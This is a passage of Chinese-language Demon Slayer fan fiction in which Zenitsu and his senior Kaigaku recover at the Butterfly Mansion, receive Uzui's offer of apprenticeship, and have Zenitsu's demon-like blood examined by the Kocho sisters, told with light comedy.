确认了师兄的安全,他后知后觉自己好像将旁边的宇髄天元给晾在了一边,转身介绍起自己:“我叫做我妻善逸,我师兄叫做稻玉狯岳,我们两个刚通过选拔,目前是癸级队士。”
“只有癸级吗?实力不错啊小子!”宇髄天元对眼前人的兴趣越发浓郁,他收回撑着墙的手臂,微微朝着善逸的方向倾身,眼神扫过善逸的身体:“你使用的呼吸法是雷之呼吸,对吧?”
“我和师兄是前任鸣柱桑岛慈悟郎的弟子,在桃山修行了三年的时间。”我妻善逸不知道这位音柱大人为什么如此详细地跟他问话,不,他大概知道原因,所以回答也尽可能详细谨慎。
宇髄天元用审视的眼神扫过那边一躺一坐的两人,同时回想起自己在战局中见到两个人的情况。
结合后续隐部队汇报的战场情况,这次两个人面对的鬼远远超出了新队员能够应对的范围,在这样面对一只异能鬼加一只下弦鬼的情况下,两个人还能够互相配合,坚持到自己赶来,并且与恶鬼的战斗也不落下风,斩杀异能鬼、削弱下弦鬼,实力不容小觑。
师兄的身上还能看出缺少战斗经验的痕迹,不过呼吸法招式练习得非常娴熟,已经达到了非常优秀的标准;而眼前这个师弟更是不得了,对于呼吸法的理解和运用已经达到了一定的境界,同时战斗经验也非常充足,完全不像刚成为鬼杀队剑士的样子。
结合他遇见下弦鬼时的情况,当时这个有着长发拖把头的男孩已经将下弦鬼的脖子给斩了下来,只不过那只狡诈的恶鬼利用能力将自己的弱点转移了而已,不然这时候的男孩已经可以成为柱了。
当时的我妻善逸虽说已经被病毒侵蚀了全身,然而还没等到他们回到蝶屋,他手里捞着的善逸身上的癍纹已经全然消退,身上散发的热度也褪去,完全恢复了状态。如果自己没及时赶到,这男孩估计还能有战斗的能力。
就算是他,在面对毒素时也只能延缓毒素的发作时间,而这个男孩竟可以凭借自己的身体完全将毒素病菌代谢掉,在短时间内恢复身体状态……真是不得了。
非常不错的实力,加上异于常人的恢复能力,对毒素的消解能力并且能够和身边人配合……这样的剑士,完全有资格成为柱。
宇髄天元严肃的表情散开,露出一个华丽的笑容:“你们两个很华丽!!”
他的手臂直直地拍向了善逸的肩膀,将他拍得啪啪响:“要不要成为华丽的天元大人的继子呢?”
“啊……”虽说有猜测,但是真被告知这件事,善逸还是有点受宠若惊。他强行压下心中的激动与一点点的别扭,目光坚定地望向眼前这个在前世击杀了前任上弦六的强大男人,认真地表态:“我们不会改变呼吸法的。我们答应了爷爷,要继承雷之呼吸的位置。”
“看来桑岛老爷子找到了很好的继承人啊!!”宇髄天元哈哈大笑,随后也认真说道:“放心!我不会强行让你们学习我的音之呼吸的!我可是被那位老爷子拜托来考察他得意门生的实力哦?若是抢走他的继承人,我可是会被骂的!”
是爷爷的安排吗?善逸在心里感动得蛋花眼,面上依然伪装成沉稳的样子,甚至还因为音柱的承诺微微松了口气,道:“我会和师兄商量过后再认真答复您的。”
“哈哈哈!!很不错!!那我就等着你们的答复了!不要让我等太久哦!”宇髄天元继续华丽地拍击他的肩膀,笑声肆意而爽朗。
此时,病房门被从外拉开:“我妻队士听说您已经醒了……啊啊啊音柱大人您放开他!!!”
一个小小的女生尖叫着闯了进来,抢救下被宇髄天元疯狂拍肩的我妻善逸:“不要虐待病人啊音柱大人!”
“嘛,这小子已经华丽的恢复好了!完全能承受住我的鼓励!”
“那也还需要休整!而且音柱大人您的伤还没有好吧!这次临时去救援伤口肯定又严重了!”看上去只有十一二的小女孩将两个人分隔开,并且将善逸重新按躺下来。“真是的,一点都不让人省心!”
善逸睁大了眼睛,惊讶地看着这个强硬地将自己摁下去的小女孩:“小葵??”
“嗯?你认识我?”黑发双马尾,蓝色眼睛的小女孩转头,疑惑地看向我妻善逸。
真是小葵……年纪好小……善逸随便找了个借口:“啊,我在昏迷期间听到了你的声音和名字。”
小葵,也就是神崎葵,是上辈子在蝶屋中负责治疗的队士,曾经在善逸出任务手上后负责过他的治疗与恢复训练。
没想到,现在的小葵就已经在蝶屋之中了啊……
善逸将自己往被子里挪了挪,惊奇地看着比记忆中小了一圈的小葵,感受到了奇妙的时间错位感。
“还有!!既然你已经醒了,该和自己的师兄分开了吧!”小葵指向被善逸挤在旁边的狯岳,声音气哼哼的:“将你们两个放在两张病床上修养,结果你像是梦游一样直接挤倒了自己师兄的床上!分都分不开!完全影响到了伤势的恢复!”
“?”善逸扭头,向旁边看热闹的宇髄天元确认。
宇髄天元重重
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点头,调侃道:“我和我的老婆们都没有这样黏糊。”
“对了音柱大人,您的老婆们好像已经到了,正在到处寻找你。”小葵突然想起来,提醒宇髄天元:“您的伤口也需要养护,还是早点回去为好。”
“好、好,我明白了。”宇髄天元从坐着的病床上起身,揉了揉这个像是小大人一样的小女孩的头,随后看向我妻善逸:“好好考虑!想好来找我——”
随后,推开病房,离开了善逸的视线。
“天元大人!!终于找到你了!!呜呜莳绪一直在骂我……”“笨蛋声音小点!万一影响到天元大人养伤怎么办!”“天元大人饿了吗?我们有带来饭团……”“好啦好啦一起回去吧……”
嘈杂而又温馨的声音从门外传来,交谈声随着他们的离开而逐渐变小。
虽然早就知道了但是……可恶啊!人怎么能长得又帅又厉害还有三个老婆!!
善逸羡慕嫉妒的目光盯着已经没人了的房门,将牙齿咬得咯咯响,向着师兄的方向挪了挪。
“喂喂!不要当做没听到——既然已经醒了,就别再和师兄硬挤在一张床上了吧?!!”
小葵看着眼前这个左看右看就是不动的人,头顶的青筋直冒:“不要当做听不见啊!!等一下忍小姐还要来看你们的情况呢!!”
再次听到了熟悉的名字,善逸歪头:“忍小姐?”
“是花柱的妹妹兼继子,蝴蝶忍大人啦,非常厉害的鬼杀队队士,你们身上的病毒还是她调试的药剂解开的呢。”神崎葵将善逸从床上薅下来,并来到另一张病床旁把被子掀开:“快来,你睡这张床!”
“嗨、嗨。”我妻善逸顺着小葵的力道,依依不舍地离开了师兄身边,回归到自己原来的病床上。
“啊呀,看来你确实醒了。”病房的门再次被推开,一位穿着鬼杀队队服、外套白色羽织的女生走了进来。只见她有一头黑发,发尾带着紫,脑后的发丝用紫色蝴蝶发卡高高盘起,面容精致小巧,紫色的双眼、细瘦的眉毛,乍一看温柔,然而细看整个人都带着锋利感。
“忍小姐!”见到来人,神崎葵高兴地打招呼,蹦蹦跳跳地来到她的身边。而来人,也就是蝴蝶忍,见到神崎葵的一瞬间,眉眼就温和了下来:“怎么样?他们两个的状况还好吧?”
“还好啦……就是,”小葵说到这里,生气地叉腰:“病人一点都不听话,非要挤在一起!刚刚才勉强分开!!”
“辛苦了。”蝴蝶忍浅笑着和神崎葵说完话,转而看向唯一醒着的人:“我妻队士,是吗?”
“啊,是!”这时候的虫柱大人也年龄很小啊,甚至还没有成为柱……善逸新奇地观察着,对比他们与自己上辈子记忆之中的形象。嗯,现在的忍小姐要更加的锋芒毕露一点,没有上辈子那种强忍怒火的感觉,心音也更加幸福一些。
“关于你们两个所中的毒,我有一些问题想和你单独谈谈……”蝴蝶忍看向狯岳,眼神认真:“可以吗?”
“我们中的病毒并没有完全解决吗?”听到这样的话,我妻善逸的眉毛蹙起,表情严肃起来,一翻身从病床上起身,站到了蝴蝶忍面前:“有需求请一定告诉我。”他自己倒也算了,同样吸入了病气的师兄身上岂不是还有危险?
“是,也不是。情况稍微有点复杂。”蝴蝶忍转过身,在前方给善逸带路:“走吧,我们去别处聊聊。”
37.第 37 章
我妻善逸跟着前方的蝴蝶忍,两个人穿过重重病房,走向了蝶屋之中蝴蝶忍的研究室。在路途中,蝴蝶忍向我妻善逸大致介绍了当前的情况:“我的名字叫做蝴蝶忍,我的姐姐名叫蝴蝶香奈惠,是鬼杀队的花柱,这处蝴蝶居就是她所负责的治疗场所。”
提起自己的姐姐,蝴蝶忍的语气比之前欢快了不少,语气之中还带着微微的骄傲感:“我姐姐很擅长治疗,相比之下我更擅长用毒与解毒。这一次你们两位被带到蝴蝶居后,为了解决你们两个身上所感染的病菌,我分别从你们两个身上抽出了一管血。”蝴蝶忍的脚步停下,从羽织中掏出钥匙扭开了门锁,“请进。”
善逸拘谨地进入了这处房间,一进门就见到了窗前的桌子,上面摆放着各种各样的玻璃器皿,剩下了三面墙壁都摆着柜子,柜子里也摆放着成排的瓶瓶罐罐。
“小心一点,那些瓶子里都是我调制的毒药。”蝴蝶忍的声音在他身后响起,将善逸吓得一激灵,手脚都不知道摆放在哪里好。
蝴蝶忍绕过僵立在中间的人,走向了他的研究台,从试管架上取下来两个试管,举到了我妻善逸眼前:“就是这两管。”
善逸伸手,想要接过那两个试管仔细观察,却被蝴蝶忍绕开,只能将眼睛凑上去看。
只见,两管血液中,一管暗红色中泛着黑紫色的色泽,而另一管颜色也是暗红色,但是里面隐隐闪过蓝色的电光。
那电光时隐时现,每次出现时,试管中的血液都会变亮一瞬,然后重归暗红。
善逸惊讶地伸手,想要触碰那一点熟悉的电光,却在即将触碰到的一瞬间对上了蝴蝶忍不赞同的双眼,讪讪地将手收了回去。
“你也看出来了,对比另一份感染病毒的血液样本情况,你血液中的毒素已经完全消失了。但是音柱大人说见到你时,你的全身已经被病毒麻木到不能动弹……这非常奇怪。”蝴蝶忍将举着的两只试管重新放置在了试管架上,从架子上取下了另一个试管:“我很困惑,将你的血液添加到了另一份样本之中,没想到,在短短的半小时内,血液内部的紫黑色毒素就被完全清理了。”
“不只是清理病毒,我将那份血样放大观察,发现就连那些被病毒破坏掉的血液细胞都回复了原样。这样强大的恢复力,简直就像是……鬼一样……”
气氛在这句话传出的瞬间变得阴沉而压抑,山雨欲来的感觉在这个研究室内蔓延开来。
蝴蝶忍手中摇晃着试管,声音越发轻微:“请问,你知道,这是什么情况吗?”
啊……善逸完全没有对现在的气氛做出什么反应……或者说,他敏锐地注意到了气氛的不对劲,然而心底下意识对于鬼杀队之后的虫柱没有抱任何的警惕心,加上上辈子的蝴蝶忍说话一直都是这种语气,让他下意识忽略掉了其中的危险意味。
善逸只是默默地听着蝴蝶忍的讲述,有些茫然地挠挠头。他大概知道自己的血液中发生了一定的变化,不如说自从穿越了世界壁,他整个人都发生了改变,所以有这样的效果应该是正常的……吧?
“大概是因为我变异了?”我妻善逸挠头,再挠头。这种事情告诉蝴蝶忍应该也没问题,但是他根本不知道怎么详细描述啊……算了不管了,反正不是很重要。
他努力分析忍小姐的话:“你的意思是,只要我将我的血输送到师兄体内,他就能够恢复是吗?”
蝴蝶忍的动作停顿住,整个人的背影散发着忍耐二字。两秒后,她从椅子上起身,转身直接对上我妻善逸:“我的话可能有点冒昧,但是我需要你的血液来研究,可以吗?”
看着不知道为什么突然生气的蝴蝶忍,我妻善逸默默的举起手。
蝴蝶忍笑眯眯,然而善逸总感觉她下一个动作就是拔日轮刀,杀气满满:“请说。”
“可以救活我师兄吗?”
“他现在就还活着,也不会死,只是目前注射的解毒剂恢复时间较长,研究好会第一时间给他使用成果。”蝴蝶忍继续笑眯眯:“还有别的问题吗?”
善逸怂怂地将手缩了回去:“没有了!蝴蝶小姐!”
“好的——那就请坐在那边的凳子上,我需要给你抽点血……”说着,蝴蝶忍从抽屉中取出了一个硕大的针头……
“伊——!!”
善逸一瞬间掉色,然后像是卡帧一样,一顿一顿地转向大门的方向:“不好意思我现在着急回去看师兄我先走了……”
“啪嗒”
善逸的身体突然一僵,一只手按住了他的肩膀,将他强硬地掰回来,摁到了椅子上:“啊呀,很着急吗?放心,我抽血很快的……”
“伊呀————!!!”
一分钟后,我妻善逸僵硬地举着手臂,面色灰白地离开了房间,一步一步地走回了病房。
“呜呜……呜呜呜……”
我妻善逸僵硬地打开病房的大门,像僵尸一样走到了自己的病床前,然后直挺挺地倒了下去。
三秒钟后,他瞬间弹起,左右摆头偷偷观察,之后鬼鬼祟祟地重新蹿到了师兄的床上。
他将被子拉开躺进去,单手撑着脑袋,认真细致地观察着师兄的脸。
他想起了自己和恶鬼战斗时师兄毫不犹豫来到他身边的身影、自己被病骨穿胸时师兄撕心裂肺的叫喊、自己丧失战斗能力时师兄挡在身前的姿态……他慢慢的、慢慢的靠近,蹭了蹭师兄的脸。
明明心里想要活下来的声音如此剧烈,却也会在师弟遇见危险时挡在他面前,哪怕师兄当时也已经力竭……
怎么这样、怎么这样……善逸的眼泪逐渐蓄满了眼眶,沿着脸颊直接蹭到了师兄的脸上。本以为很难走进师兄的心中,所以低着头一直向前,结果没想到,等他回过神来师兄已经可以用他无比珍视的生命挡在自己面前,为自己多换一线生机……师兄啊。
如果上辈子的他,能够不被师兄的恶言恶语所劝退,坚定地选择他,坚持着陪伴他,永远不放弃他,会不会,当初的他们会有另一种结局呢?
他的眼泪止不住,哪怕心中的欣喜依然冲破屋顶,那种激动而又酸楚的情绪,始终催动着他的眼泪不停滑落。
他不再忍耐声音,挤挨着师兄哭泣出生。但是他无法向师兄言明他们上辈子的事,只能碎碎念些别的小事情,就像是他们在桃山无聊自己骚扰师兄时一样。
“呜呜呜……师兄……我被坏女人骗血了……”善逸将头挤到师兄的颈窝处,小声抽泣着哭诉。
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依然在昏迷之中的狯岳眉头皱起,像是肌肉记忆一般,一只手慢悠悠地抬到了善逸脑袋上,又软绵绵地搭了上去。
“呜呜师兄你不许在昏迷的时候骂我蠢货……”善逸把眼泪蹭在师兄的脖颈皮肤上,将自己脑袋上的手拉下来攥在手心,嗅闻着师兄熟悉的香气,另一只手小心避开师兄身上的伤紧紧搂住,蜷缩在师兄身旁,沉沉进入了梦乡。
狯岳休息得并不安稳,他一直觉得自己像是一个漏气的皮球,还有熊孩子在一直挤压他,飞将自己身体里的气放完为止,直到他再也忍不住,暴怒地想着就算是破了也要炸那熊孩子一脸,那一瞬间,漏气的皮球忽然长出了牙,狯岳直接一口就咬上了熊孩子的脑袋!
“咿呀——好痛!!好痛!!师兄——快松口!!”
熟悉且令人头疼的尖叫声响起,狯岳下意识磨磨牙,结果耳边的尖叫更大声了。
“师兄!!!师——兄!!我脑袋要被你咬傻了!!师兄你师弟要变傻了!!”
狯岳想要张嘴反驳他师弟本来就是蠢货,这才发觉自己嘴里好像有什么东西。
他松口,被他咬住的东西瞬间逃脱。
“呸呸呸!!”狯岳睁眼,发现自己的口腔之中居然有黄蓝色的头发!!
“我妻善逸!!你又干什么了!!”狯岳强忍着伤口的疼痛从床上坐起,一转头刚想发火,结果就对上了他的蠢货师弟幽怨的眼神。
“你骂吧,师兄,不用在意我,我只是被你在脑袋上啃了个巨大的牙印而已,只是在梦里被你一口咬在了脑袋上而已,只是现在脑子还有点懵懵的而已,只是可能顶着牙印一辈子都找不到老婆了而已……你只管自己爽就够了,不用在意我,我会自己偷偷哭的……”
狯岳的视线上移,终于注意到了自己的冤种师弟脑袋上的硕大红印,还在发着光,于是默默地伸手……一手刀披在了善逸脑袋上的大红印上。
“正常点,蠢货!”
“呜哇————师兄!!!”我妻善逸的眼泪崩盘,再也演不下去了,直直朝着师兄的方向扑过来:“太过分了!!为什么连梦里都在咬我!!”
自己的蠢货师弟像一辆火车一样要撞上来,狯岳连忙伸手阻挡:“停!”
善逸也没打算直接撞在还有伤在身的师兄身上,于是顺势停在了师兄手掌前,继续用幽怨的眼神盯着他。
“啧……”虽说这个废物一直都是吵吵闹闹哭哭啼啼的,然而今天狯岳莫名有种眼前的人非常兴奋的感觉……他单手拖着下巴仔细地观察了一番善逸的表情,眼睛眉毛依旧下垂,表情也是委委屈屈,像是能被随便谁都欺负一下也不敢还手的窝囊样,然而狯岳决定相信自己常年和蠢货相伴养成的直觉。
“你!”狯岳单手指着我妻善逸,然后手指在空中绕了个圈:“转身背对我冷静三分钟!”
“哦。”善逸老老实实地遵循着师兄的指示转身,盯着远方的白墙。
狯岳抱着手臂,在心中默数。一、二、三……
“呐,师兄,你其实超级喜欢我,对不对?”果不其然,没超三秒,那个不安分的背影就出声了,甚至还恶心地冒出了不少小花。
“……别恶心我!yue!!”
38.第 38 章
“嘿嘿嘿师兄你不用不好意思啦~”善逸美滋滋地飘回师兄的眼前,脸上的笑容止都止不住,像是一朵太阳花:“师兄,我可是都听见了哦——你超级担心我的!甚至还挡在了我前面保护我!”
给点阳光就灿烂!狯岳冲着这个像是傻子一样傻乐的师弟翻了个白眼:“自作多情,废物!”
“嘿嘿师兄,就算你现在再怎么反驳我也是不会相信的啦——傲娇已经退环境了师兄~嘿嘿~”
善逸头顶冒出来的花瓣简直要淹没这张小小的病床,他双手托着脸,流出一副幸福到融化的表情:“诶呀师兄有时候还是要遵循自己的内心啦——很在意你师弟我又不是什么丢人的事——诶呀我才不会逢人就说你很在意我的你放心啦~”
“嘿嘿嘿嘿嘿嘿嘿嘿~”
狯岳脑袋上的青筋越冒越多,终于忍无可忍,一拳砸在了我妻善逸的头上!
“师兄~你怎么又砸我头~”善逸双手捂住头上的大包,表情依然是那副蠢样子,甚至抱怨的话尾都加上了波浪号,一副被打了,但是爽到了的表情。
狯岳恶心地在师弟的身上蹭了蹭自己的拳头。总感觉自己刚刚摸到了脏东西。
好恶心!
此刻,病房的门被打开:“啊呀,看来你们两个都醒了?”
没听过的温柔声音,让室内的两人动作一顿,齐齐转头想着声音传来的方向看去。
进入病房之中的是一位高挑而纤细的女性。只见她一袭黑色长发,在头发两边分别别着一个粉色的蝴蝶发卡,身着鬼杀队队服,外面套着一件颜色绚烂的蝴蝶羽织,羽织下隐隐约约能看见日轮刀的形状。眉如细月,目含柔情,温柔而坚定。
那件羽织……我妻善逸有些呆愣。那是上辈子虫柱蝴蝶忍身上的那件。
注意到两个人都呆愣地看着自己,来人含笑介绍自己:“我是鬼杀队的花柱蝴蝶香奈惠,是这座蝴蝶居的负责人。”
啊,是鬼杀队的柱!狯岳缓过神,连忙拽上旁边还在发呆的师弟,两个人在床上微微躬身:“花柱大人!”
“没事的,你们是病号,不用向我行礼。”蝴蝶香奈惠将两个人按回病床上:“我在你们来到蝶屋时已经为你们诊治过,只不过当时你们两位都在昏迷之中。说起来,你们两个的关系还真是好呢……”
她笑眼弯弯,用眼神示意两位躺在一张病床上的身影:“当时小葵还和我抱怨说两位无论如何也不肯分开。”
硬挤一张病床还被鬼杀队的大人物知晓了!!狯岳在瞬间出手,肘击这件事情的罪魁祸首,然后在师弟委屈的眼神中用气声呐喊:“滚去你自己的病床上!!”
“师兄——你太过分了吧!”善逸还试图挣扎,但在师兄杀人的目光下,只得委委屈屈地爬回了自己床上。
蝴蝶香奈惠浅笑着围观两个人的互动。两师兄弟之间的关系真好啊,自从小忍长大后就不再和姐姐这样黏糊了——真想再见到会和自己撒娇的小忍呢~
“关系亲密很好,但是如果影响到病情恢复就不好了哦~”蝴蝶香奈惠自觉忽略掉在发散怨气的我妻善逸,转而看向狯岳的方向,仔细地观察了他的脸色:“现在感觉怎么样?”
在医生面前,尤其是这位治疗的医生还是鬼杀队的柱,狯岳完全不敢怠慢,认认真真地感受自己身体的情况,并详细地将其告知眼前的人:“伤口不疼,但呼吸时灼烧感很强,像是身体里面还在燃烧着一样,肌肉也没有力气。”
狯岳皱着眉头。肺部受伤、肌肉无力,不能使用呼吸法,这种完全失去战斗力的情况,让他很不适应,好像又回到了当初流浪任人揉捏的时候。
只不过……他微微转头,视野余光注意到那个担忧地看着自己,努力朝这边倾身以至于差点掉下床的小傻子,不忍直视地转头回来。说起来很难为情,但是他的确从这样一个小傻子身上汲取到了安全感。
皱起的眉头微微放开,狯岳的双手摆放在身前的被子上,安静等待蝴蝶香奈惠的诊断。
“给你包扎伤口使用的药材有麻醉的作用,所以伤口不疼是正常的。至于其他,你身体内感染的病毒还没有完全清除,这段时间要一直喝药才行。对了,说起药。”蝴蝶香奈惠想着房门的方向看去,刚好此时的房门被推开:“小葵,香奈乎,你们来了。”
推门进来的首先是端着药碗的神崎葵,而她的身后,跟着一位和她差不多高的小女孩,看上去呆呆的,手中也端着一碗药,跟着小葵一起进到了病房之中。
小葵先行将药碗摆放在了桌子上,随后接过身后小女孩手中的药碗,一并摆放在一起。
“香奈惠大人!药已经准备好了喔!”小葵用手背虚虚擦过脑袋,单手叉腰,元气满满地说。
一旁的小女孩黑发侧扎单马尾,一双粉色的眼睛大而无神,被接过手中的药碗后呆愣地站在哪里,直到被神崎葵推到了蝴蝶香奈惠的面前,见到眼前人,眼睛里才多出一丝神采。
“是吗?真是多谢小葵还有香奈乎了。”蝴蝶香奈惠笑眯眯的,依次摸过两人的头顶:“帮大忙了~”
“嘿嘿~”感受到头顶的抚摸,两个女孩眼睛亮晶晶的。
“那么,监督两位病人定期喝药的事情,就交给你们两个了,可以吗?”香奈惠收回抚摸两人头顶的手,认真地与他们对视。
“没问题!交给我和香奈乎!”
将病人喝药的事情托付,香奈惠站直身,和旁边被冷落的病人交谈:“按时吃药,伤口完全恢复之前不要剧烈运动。”她和狯岳对上视线,狯岳保证地点头。
蝴蝶香奈惠也微微点头,然后看向善逸:“你的情况我们都知晓,我也不再多说。不过,尽管如此,在该休息的时候一定要好好休息。那么,我先告辞了。”
“花柱大人慢走。”
房门轻轻闭合,那蝴蝶羽织的身影消失在
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了病房门口。
蝴蝶香奈惠从病房出来,沿着走廊向外,一路上不少蝶屋里修养的队士和来送病号的隐向她鞠躬行礼。她微笑着颔首,时不时关心一下病人的情况,在一串受宠若惊的道谢之中,蝴蝶香奈惠在研究室门前见到了自己的妹妹。
“姐姐!”蝴蝶忍一见到来人,脸上就绽开笑容,漂亮的紫色眼睛弯弯的,不自觉地上前迎了上去:“我一听到窗外的动静,就知道姐姐来了。”
蝴蝶香奈惠也更温柔了几分,展开双臂,将自己的妹妹拥入怀中:“啊呀,小忍怎么还出来迎接姐姐?是害怕姐姐迷路吗?”
被她搂在怀中的蝴蝶忍微微抬头,对上自家姐姐的眼睛,表情气鼓鼓的:“还不是姐姐,经常被一些新来的病患拐到病房中,完全把自己的妹妹忘记了,总是很晚才回来……”
“抱歉啊小忍,有些病人情况比较紧急,我会凑上去看看情况。总是将你晾在一边真是很对不起。”香奈惠伸出手指,戳了戳自家妹妹生气时有些鼓起的小脸,“是姐姐的错,我们小忍都气成小河豚了,真可爱。”
蝴蝶忍被自己的姐姐戳漏了气,心中那点小小的不满也消掉了。她低下头,将脸在姐姐身上蹭蹭,开口时声音闷闷的:“我也不是说姐姐这样有问题……我站在门口只是为了和姐姐一起去看病人……”
“啊呀啊呀~”蝴蝶香奈惠的笑意越发浓,忍不住用手揉上妹妹的头:“小忍可真是懂事又可爱~”
“当然,我可是花柱大人的妹妹。还有,姐姐,不要揉乱我的头发。”蝴蝶忍将自己从姐姐的怀抱里拔出来,转过身,推着姐姐一起进到了他的研究室内。
“有什么关系——姐姐可以再给你扎一遍头发哦~”蝴蝶香奈惠熟练拉开蝴蝶忍研究室之中的椅子,坐上去托腮看着自己的妹妹:“我已经好久没给小忍扎过头发了。小忍不想要姐姐给你扎头发吗?”
“姐姐你这样忙,有时间多去休息!”
“小忍真是严厉呢。扎头发的时间还是挤得出来的。不过小忍就算头发乱乱的也很可爱啦~”
蝴蝶忍背对着自家姐姐去拿架子上的药剂瓶,然而耳根一片通红,暴露了她的羞窘。她强装镇定转换话题:“香奈乎这几天跟着小葵在病房间转悠,真的没问题吗?”
“放心好了,我刚刚有见到小葵和香奈乎哦~两个人做得很不错呢!”蝴蝶香奈惠欣赏着自家妹妹害羞的样子,继续浅笑开口:“有我交给香奈乎的硬币,加上小葵的帮助,香奈乎能够做出决断的。”
蝴蝶忍还是有点不放心,但是姐姐都这样说了……决定之后时不时去看看情况的蝴蝶忍没有就这个问题再继续和姐姐争论,而是提到了这回的正事:“姐姐,你也看到那个人了吧?对于这件事,主公怎么说?”
蝴蝶香奈惠收起托腮的手,神色认真起来,眼眸微敛:“对于有关那位我妻队士的事情,主公的回答是,他已知晓。”
39.第 39 章
蝴蝶忍取试剂瓶的手一顿,脑袋猛然转向蝴蝶香奈惠的方向,震惊之间差点没拿稳手中的玻璃瓶:“姐姐,你说,主公大人他早就知道——!!”
蝴蝶香奈惠瞬间来到妹妹身旁,从手中接过那瓶装着血液的玻璃瓶扶好放置在桌子上:“看来你昨天真是抽了那位队士不少血呢~”
“姐姐!不要转移话题!”蝴蝶忍双手按在姐姐的肩膀上,急切地说:“那个剑士的血液可是与鬼血的重合度高达百分之六十七!!!如果不是他不害怕阳光基本上就能够断定他是一只鬼了!!主公知道这件事吗??”
“别着急,小忍。”蝴蝶香奈惠的表情依然温柔,她用轻柔而又不容拒绝的力道将自己的妹妹按在了椅子上,随后托起蝴蝶忍的脸,粉色的双眼和蝴蝶忍的眼神对上:“听我说完,好吗?”
被姐姐的眼神安抚,蝴蝶忍闭了闭眼,强行按耐下了内心汹涌的情绪。她强迫自己冷静下来,将有些颤抖的双手放置在膝盖上,最后深吸了一口气,再次对上姐姐的视线:“抱歉,姐姐,请继续讲吧。”
见到蝴蝶忍的情绪已然稳定,香奈惠的眉眼也舒展开来,继续对妹妹讲述她昨天面见主公时的事:“主公对于这位少年的情况在三年前就已知晓,这位我妻队士拥有鬼一般的恢复力,甚至有像是血鬼术一样的能力,但是不惧阳光不食人,外表也与正常人类没有区别。”
蝴蝶香奈惠想起刚刚去到病房之中,虽未过多交谈,但是一直紧张地盯着师兄的少年,对主公的判断也多出许多认可。她在蝴蝶忍紧张的注视下继续开口:“主公判定他依然是人类,而人类,从来不是鬼杀队的敌人。小忍,你昨天和他交谈过了,对吧?”
“……”蝴蝶忍咽下口中的反驳话语。确实,他昨天见到的少年,拥有完整的逻辑、充沛的感情,虽然有点听不懂人话,但是确实不像是那些偏执的恶鬼。
“所以,主公同意了他在培育师手下修行,也同意了他加入鬼杀队。而他也并没有在鬼杀队做出什么坏事,甚至差点杀死了下弦鬼。他是一个合格,甚至非常优秀的鬼杀队队士。”香奈惠双掌相贴,放置于脸侧,眼睛弯弯:“这不是很好么?”
“虽然我没能见到能与人类和平共处的鬼,但是能够遇见这样一个特例,也很幸运了。”
蝴蝶忍依旧担忧,她踟蹰了半晌,还是开口:“万一,他是恶鬼派来鬼杀队的间谍,”蝴蝶忍抓住姐姐的蝴蝶羽织下摆,想到自己的假设,手不自觉攥紧,将羽织攥出褶皱:“得知有关主公或者柱的情报,传递回鬼的那方,给鬼杀队造成损失……”
“安心安心,小忍,主公思考过这样的事。”蝴蝶香奈惠说,“鬼王一直在寻找能够克服阳光的方法,一旦他得知世界上有了能够克服阳光的鬼,他的第一反应肯定事找寻这个鬼并将他吸收掉,不会派到鬼杀队当卧底的。所以,主公更倾向于鬼王并不知晓这位我妻队士的事情。”
蝴蝶香奈惠看着妹妹还想要说什么,继续道:“而且主公也做出了其他安排,不会让我妻队士危害到鬼杀队。”
蝴蝶忍看着姐姐信任的目光,叹了口气,将心中的介怀放下了一些。随即,她重新思考了一遍姐姐的话,再次瞬间抬头:“等等,如果他被鬼王找到吃掉,岂不是所有的鬼都能够克服阳光了?”她不敢想象,那些只能出现在黑暗中的恶鬼一旦克服了唯一的弱点,还有什么可以桎梏它们!
“是的,所以主公说,允许他加入鬼杀队是一次危险的决策。在鬼杀队中,他的异常被恶鬼注意到的几率会更大,但是他在加强对抗恶鬼保护自身的能力的同时,也让鬼杀队拥有了关键时刻能够吸引鬼王出现的力量。”蝴蝶香奈惠微微叹息。只是不知,这个少年,能否在重重的危机中保护住自己呢?
“……”蝴蝶忍再也说不出反驳的话。
看到妹妹的神情蔫蔫的,蝴蝶香奈惠转换了情绪,开心地对着妹妹说:“主公知道是我们一起发现的异常,特许我将这些话转述给你,同时也允许你在经过我妻少年同意的情况下研究他的血液哦——主公说,他很期待你的研究能够给鬼杀队带来更好的改变呢!”
“……好的好的,我会努力……”最终,蝴蝶忍还是对自己的姐姐妥协了。她嘟嘟囔囔着:“真是的,姐姐总是很容易相信别人,甚至还想要和鬼好好相处……”
蝴蝶香奈惠看着嘴上说着不支持自己的妹妹,手上却已经开始了研究,眼神越发柔和,也拿起了实验台上的器皿,协助妹妹的研究……
另一边。
狯岳接过神崎葵递来的药,在思考那位花柱大人口中“我们都知晓”的关于蠢货师弟的事情是什么,顺手将药汤全部灌进了嘴里。
汤药咽进一半,突然,一阵刺耳到令人头痛的熟悉声响炸响在耳边:“咿呀————我才不要喝药!这种浓稠又暗黑的东西喝到肚子里才是大事不妙!!还有!!我已经好了!!刚才的那位花柱大人和昨天的忍小姐都能为我作证!!我!不!喝!药!!”
狯岳差点将口腔内的汤药呛进气管之中!他强压着想要咳嗽的冲动,硬是将那腥苦的药咽了下去,转头愤怒地盯向自己那个在小女孩面前打滚的废物师弟。
太丢人了!!
我妻善逸闭着眼睛躲避着端到自己眼前的黑漆漆的药,然而,他冥冥之中感受到了一种带着强烈压迫感的视线,好似要将自己给从中间劈成两半,让还在左右摇头躲避汤药的他身体蓦然僵直,缓缓地睁开了右眼,瞟了一眼师兄的方向。
“伊——!!”
狯岳的身影已经要被他冒出来的黑气淹没,一双绿色的眼睛在这黑气之中好似发光,那眼神之中的东西……善逸瑟瑟发抖,他看懂了,他师兄说等到没别人的时候狠狠收拾他!
恐吓!!完全是针对他的恐吓!!呜呜呜他师兄对他一点也不友好!!
小葵看到刚刚还
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挣扎着不想喝药的人突然僵住,直接将药碗塞进了我妻善逸手中:“自己老老实实喝药!只有小孩子才会为了不喝药而在床上打滚耍赖!”
善逸低下头,和药汤中倒映出的自己对上脸,忽然,手中漆黑的药汤冒了个泡,刚好扭曲了他在倒影中的双眼,显得漆黑又恐怖。
那一瞬间,我妻善逸手中端着的不再是解毒的药,而是被女巫用不知道什么材料熬成的致死魔药。就连刚刚冒出来的泡泡,都散发着邪恶的气息。
善逸端碗的手瑟瑟发抖,他在师兄杀人的视线之下,默默和面前两位盯着自己喝药的小女孩打起了商量:“呐,你们应该都知道吧,其实我的病已经痊愈了,身体上没有任何伤口,一点都不需要再喝这种药的,对吧?”
善逸和神崎葵的视线对上。小葵严肃脸:“不管你找什么借口,今天都要喝药!”
善逸转脸又对上香奈乎。
善逸:QAQ
香奈乎:O_O
